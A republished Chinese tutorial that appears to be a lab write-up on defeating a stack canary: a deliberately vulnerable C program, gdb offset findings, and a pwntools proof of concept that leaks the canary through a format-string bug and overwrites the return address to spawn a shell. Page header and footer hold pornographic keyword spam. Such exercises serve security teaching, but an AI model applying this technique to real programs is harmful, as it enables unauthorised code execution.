日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

借助格式化输出过canary保护

發布時間:2023/12/1 编程问答 38 豆豆
生活随笔 收集整理的這篇文章主要介紹了 借助格式化输出过canary保护 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

0x01 canary保護機制

棧溢出保護是一種緩沖區溢出攻擊緩解手段,當函數存在緩沖區溢出攻擊漏洞時,攻擊者可以覆蓋棧上的返回地址來讓shellcode能夠得到執行。當啟用棧保護后,函數開始執行的時候會先往棧里插入cookie信息,當函數真正返回的時候會驗證cookie信息是否合法,如果不合法就停止程序運行。攻擊者在覆蓋返回地址的時候往往也會將cookie信息給覆蓋掉,導致棧保護檢查失敗而阻止shellcode的執行。在Linux中我們將cookie信息稱為canary。

0x02 溢出例子

整體思路:

找到溢出點,用我們的shellcode去覆蓋棧里面的數據,但添加了canary保護,直接覆蓋會把canary也覆蓋,導致程序不能執行,所以我們要找出canary,在覆蓋的時候,把canary放在payload里,canary覆蓋canary,這樣保證canary沒有被覆蓋,其他棧數據被覆蓋,就可以過canary保護了。

程序:

#include<stdio.h> void exploit() {system("/bin/sh"); } void func() {char str[16];read(0, str, 64);printf(str);read(0, str, 64); } int main() {func();return 0; }

利用棧溢出去執行exploit程序,編譯:

gcc -no-pie -fstack-protector -m32 -o 5.exe 5.c

啟動了棧保護

在func處下個斷點

我們看到這個匯編語句,這里就是插入canary,將canary信息放到eax中,然后壓入棧中,這是在調用第一個read函數前插入的

我們來看看eax值和壓入的canary信息在哪里:0xffffcffc

記錄一下read函數把讀取的內容放在那個地址:0xffffcfec

我們看一下buf內容和canary地址(0x2fe2d00)相差多少,buf再加上16個字節就到canary的地址了。

查看exploit地址 0x80484cb

查看func的ret語句,此時esp的值:0x8048554,地址為0xffffd00c,和canary相差16個字節


我們要利用read棧溢出,去執行exploit函數,所以我們要覆蓋0xffffd00c這個地址數據,內容更換為exploit首地址,但是加了canary保護,我們在覆蓋的時候不能覆蓋掉canary信息。所以我們在覆蓋棧內數據的時候,canary還覆蓋成canary信息就行了。

但每次程序執行canary的值都不會相同,這又頭疼了,這個時候我們的格式化輸出就有用處了。我們可以將canary輸出來,然后動態加到我們payload中,這樣保證每次都是那個canary

我們可以找到canary距棧頂的距離,這個是不會變的,然后用格式化輸出就行了。

利用read將printf要的數據輸進去,內容:"%11$08x",這樣printf就會打印距棧頂11個,就是44個byte,然后打印8個16進制數據,就是canary信息了

poc:

from pwn import * p=process("./5.exe") p.sendline("%11$08x") canary=p.recv()[:8] print(canary) canary=canary.decode("hex")[::-1] //將canary轉成16進制 coffset=4*4 //read函數距canary16個byte roffset=3*4 raddr=p32(0x80484cb) //exploit地址 payload=coffset*'a'+canary+roffset*'a'+raddrp.sendline(payload)p.interactive()

執行,成功

0x04 總結

加了canary保護,在調用函數前,會加一個canary信息到棧里面,如果我們利用棧溢出覆蓋了棧里面的數據,覆蓋了這個canary信息,程序就不能執行。并且每次程序執行,這個canary信息都是不同的,所以我們不能靜態的加入到我們的payload里。

  • 找到exploit函數地址
  • 找到buf首地址距canary地址的距離,就是有溢出的地方,在棧里存放數據的首地址,與canary的距離
  • 計算ret語句需要的棧數據與canary距離
  • 當執行到格式化輸出語句時,查看當前棧里數據,計算canary與棧頂的距離(每4byte為1)
  • 修改poc程序,執行
  • 創作挑戰賽新人創作獎勵來咯,堅持創作打卡瓜分現金大獎

    總結

    以上是生活随笔為你收集整理的借助格式化输出过canary保护的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

    主站蜘蛛池模板: 中文字幕二区 | 日韩欧美在线视频观看 | 日本黄色激情视频 | 日韩一级片在线 | 日韩国产欧美精品 | 涩涩视频网址 | 欧美粗暴se喷水 | 最新精品国产 | 能免费看黄色的网站 | 中文字幕+乱码+中文字幕一区 | 欧美色哟哟 | 婷婷亚洲综合 | av一区二区三区免费观看 | 亚洲先锋影音 | www九九热 | 五十路在线观看 | 欧美人与禽性xxxxx杂性 | 91亚洲一区二区三区 | 国产特黄毛片 | 国产精品久久久爽爽爽麻豆色哟哟 | 欧美一区二区三区四区在线观看 | 亚洲一区二区三区在线播放 | 中文字幕一区二区三区人妻在线视频 | 在线观看亚洲一区 | 天天干在线播放 | 国产亚洲欧美在线 | www.jizzjizz.com| 爱情岛论坛亚洲线路一 | 九九久久网 | 九九亚洲视频 | 片集网 | 影音先锋久久 | 国产乱码精品一区二三赶尸艳谈 | 日本高清免费aaaaa大片视频 | 在线视频麻豆 | 国产真实乱 | 黄色片网站在线免费观看 | 一区二区激情视频 | 中文字幕1| 香蕉视频在线视频 | 在线精品亚洲欧美日韩国产 | 日本一级理论片在线大全 | 欧美视频在线观看一区二区三区 | 久久精品国内 | 欧美激情片在线观看 | 伊人久久大香线蕉av色婷婷色 | 久久在线视频 | 亚洲欧美日韩综合在线 | 夏晴子在线 | 视频在线观看电影完整版高清免费 | 黄色片xxx | 久久综合色88 | 亚洲国产无线乱码在线观看 | 91黄漫| 国产精品99视频 | 欧美一级免费 | 青娱乐97 | 国产精品无码一区二区三区 | 日韩av一区在线观看 | 99热这里只有精品在线观看 | 爱爱小视频免费看 | 91啪国产在线 | 亚洲免费中文字幕 | 青青草视频成人 | 日韩不卡视频在线 | 国产色呦呦 | 久久免费少妇高潮久久精品99 | 国产在线1 | 日韩精品一区不卡 | 手机在线观看av网站 | 99久久久无码国产精品衣服 | 熟妇一区二区三区 | 日韩一区二区影视 | 五月婷婷视频 | 99re这里有精品 | 亚洲成人免费在线视频 | 精品国产91久久久久久久妲己 | 中文字幕不卡在线观看 | 久久亚洲国产 | 久久精品人妻av一区二区三区 | av免费在线观看网站 | 亚洲一区二区美女 | a国产免费 | 波多野结衣一本 | 98精品视频| 小泽玛利亚一区二区三区视频 | 91香蕉视频官网 | 久久久69| 99久久国产综合 | 不卡欧美| 日韩videos | 中文一区二区在线播放 | 瑟瑟在线视频 | 日韩激情视频在线观看 | 日韩精品在线一区二区 | 一区二区久久精品66国产精品 | 欧美整片sss| 中文字幕在线免费视频 | 欧美xxxxav |